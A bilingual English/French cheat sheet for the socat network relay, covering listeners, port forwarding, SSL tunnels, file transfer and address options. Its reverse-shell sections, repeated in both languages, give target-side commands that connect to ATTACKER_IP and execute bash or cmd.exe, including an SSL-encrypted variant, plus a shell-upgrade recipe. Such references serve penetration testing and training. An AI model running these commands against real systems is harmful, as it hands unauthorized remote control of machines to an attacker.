socat

Relais réseau multi-usage. Crée des flux de données bidirectionnels entre presque n'importe quels deux points de terminaison : sockets, fichiers, processus, ports série. Multipurpose network relay. Creates bidirectional data streams between almost any two endpoints — sockets, files, processes, serial ports.

↗ http://www.dest-unreach.org/socat/

Overview

socat (SOcket CAT) is netcat on steroids. It can relay data between virtually any two endpoints: TCP/UDP sockets, Unix domain sockets, files, SSL, PTY, and more. Invaluable for port forwarding, upgrading shells, and creating encrypted tunnels.

Listeners & Basic Connections

TCP listener (like nc -lvp)

socat TCP-LISTEN:4444,reuseaddr -

Connect to listener

socat - TCP:10.10.10.1:4444

UDP listener

socat UDP-LISTEN:4444,reuseaddr -

Connect with timeout

socat TCP:10.10.10.1:4444,connect-timeout=5 -

Reverse Shells

Listener side (attacker)

socat TCP-LISTEN:4444,reuseaddr FILE:`tty`,raw,echo=0

Target side — fully interactive reverse shell

socat TCP:ATTACKER_IP:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Windows reverse shell

socat TCP:ATTACKER_IP:4444 EXEC:'cmd.exe',pipes

Shell Upgrade (TTY)

Upgrade a raw netcat shell to fully interactive PTY Attacker:

socat file:`tty`,raw,echo=0 tcp-listen:4444

Victim:

socat tcp-connect:ATTACKER_IP:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane

Port Forwarding

Forward local port to remote host:port

socat TCP-LISTEN:8080,fork TCP:internal-server:80

Forward all connections on port 443 to another host

socat TCP-LISTEN:443,fork,reuseaddr TCP:10.10.10.5:443

Bidirectional UDP forwarding

socat UDP-LISTEN:53,fork UDP:8.8.8.8:53

SSL Encrypted Channels

# Generate self-signed cert
openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 365 -out server.crt
cat server.key server.crt > server.pem

SSL listener

socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 -

SSL client

socat - OPENSSL:10.10.10.1:443,verify=0
# SSL encrypted reverse shell
# Attacker:
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 FILE:`tty`,raw,echo=0
# Target:
socat OPENSSL:ATTACKER_IP:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

File Transfer

Send file

socat TCP-LISTEN:4444,reuseaddr < file_to_send.txt

Receive file

socat TCP:10.10.10.1:4444 > received_file.txt
socat -u FILE:send.txt TCP-LISTEN:4444,reuseaddr  # sender
socat -u TCP:10.10.10.1:4444 FILE:recv.txt,create # receiver

Tips

  • fork is essential for listeners that need to handle multiple connections
  • reuseaddr allows immediately reusing a port after disconnect
  • socat is often available on servers even when netcat isn’t
  • For pivoting through jump hosts, chain multiple socat relays
Address types reference
TCP:host:port         TCP client connection
TCP-LISTEN:port       TCP server (listener)
UDP:host:port         UDP client
UDP-LISTEN:port       UDP server
OPENSSL:host:port     SSL/TLS client
OPENSSL-LISTEN:port   SSL/TLS server
FILE:filename         Regular file
EXEC:command          Execute program
PTY                   Pseudo-terminal
STDIN / STDOUT        Standard I/O
-                     Shorthand for STDIO

Options (appended with comma):
fork              Fork for each connection
reuseaddr         Reuse address/port
bind=addr         Bind to specific address
range=CIDR        Only accept from CIDR
crnl              Use CR+NL instead of NL
raw,echo=0        Raw terminal, no echo
pty,setsid        Allocate PTY, new session

Vue d’ensemble

socat (SOcket CAT) est un netcat sous stéroïdes. Il peut relayer des données entre pratiquement n’importe quels deux points de terminaison : sockets TCP/UDP, sockets de domaine Unix, fichiers, SSL, PTY, et plus encore. Précieux pour le port forwarding, l’upgrade de shell et la création de tunnels chiffrés.

Listeners et connexions de base

# Listener TCP (comme nc -lvp)
socat TCP-LISTEN:4444,reuseaddr -

# Se connecter à un listener
socat - TCP:10.10.10.1:4444

# Listener UDP
socat UDP-LISTEN:4444,reuseaddr -

# Se connecter avec timeout
socat TCP:10.10.10.1:4444,connect-timeout=5 -

Reverse shells

# Côté listener (attaquant)
socat TCP-LISTEN:4444,reuseaddr FILE:`tty`,raw,echo=0

# Côté cible : reverse shell pleinement interactif
socat TCP:ATTACKER_IP:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

# Reverse shell Windows
socat TCP:ATTACKER_IP:4444 EXEC:'cmd.exe',pipes

Upgrade de shell (TTY)

# Upgrader un shell netcat brut vers un PTY pleinement interactif. Attaquant :
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Victime :
socat tcp-connect:ATTACKER_IP:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane

Port forwarding

# Rediriger un port local vers un hôte:port distant
socat TCP-LISTEN:8080,fork TCP:internal-server:80

# Rediriger toutes les connexions sur le port 443 vers un autre hôte
socat TCP-LISTEN:443,fork,reuseaddr TCP:10.10.10.5:443

# Forwarding UDP bidirectionnel
socat UDP-LISTEN:53,fork UDP:8.8.8.8:53

Canaux chiffrés SSL

# Générer un certificat autosigné
openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 365 -out server.crt
cat server.key server.crt > server.pem

# Listener SSL
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 -

# Client SSL
socat - OPENSSL:10.10.10.1:443,verify=0
# Reverse shell chiffré SSL
# Attaquant :
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 FILE:`tty`,raw,echo=0
# Cible :
socat OPENSSL:ATTACKER_IP:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Transfert de fichiers

# Envoyer un fichier
socat TCP-LISTEN:4444,reuseaddr < file_to_send.txt

# Recevoir un fichier
socat TCP:10.10.10.1:4444 > received_file.txt

# Envoi
socat -u FILE:send.txt TCP-LISTEN:4444,reuseaddr

# Réception
socat -u TCP:10.10.10.1:4444 FILE:recv.txt,create

Conseils

  • fork est indispensable pour les listeners qui doivent gérer plusieurs connexions
  • reuseaddr permet de réutiliser immédiatement un port après déconnexion
  • socat est souvent disponible sur des serveurs même quand netcat ne l’est pas
  • Pour le pivoting à travers des hôtes relais, chaîner plusieurs relais socat
Référence des types d'adresse
TCP:host:port         TCP client connection
TCP-LISTEN:port       TCP server (listener)
UDP:host:port         UDP client
UDP-LISTEN:port       UDP server
OPENSSL:host:port     SSL/TLS client
OPENSSL-LISTEN:port   SSL/TLS server
FILE:filename         Regular file
EXEC:command          Execute program
PTY                   Pseudo-terminal
STDIN / STDOUT        Standard I/O
-                     Shorthand for STDIO

Options (appended with comma):
fork              Fork for each connection
reuseaddr         Reuse address/port
bind=addr         Bind to specific address
range=CIDR        Only accept from CIDR
crnl              Use CR+NL instead of NL
raw,echo=0        Raw terminal, no echo
pty,setsid        Allocate PTY, new session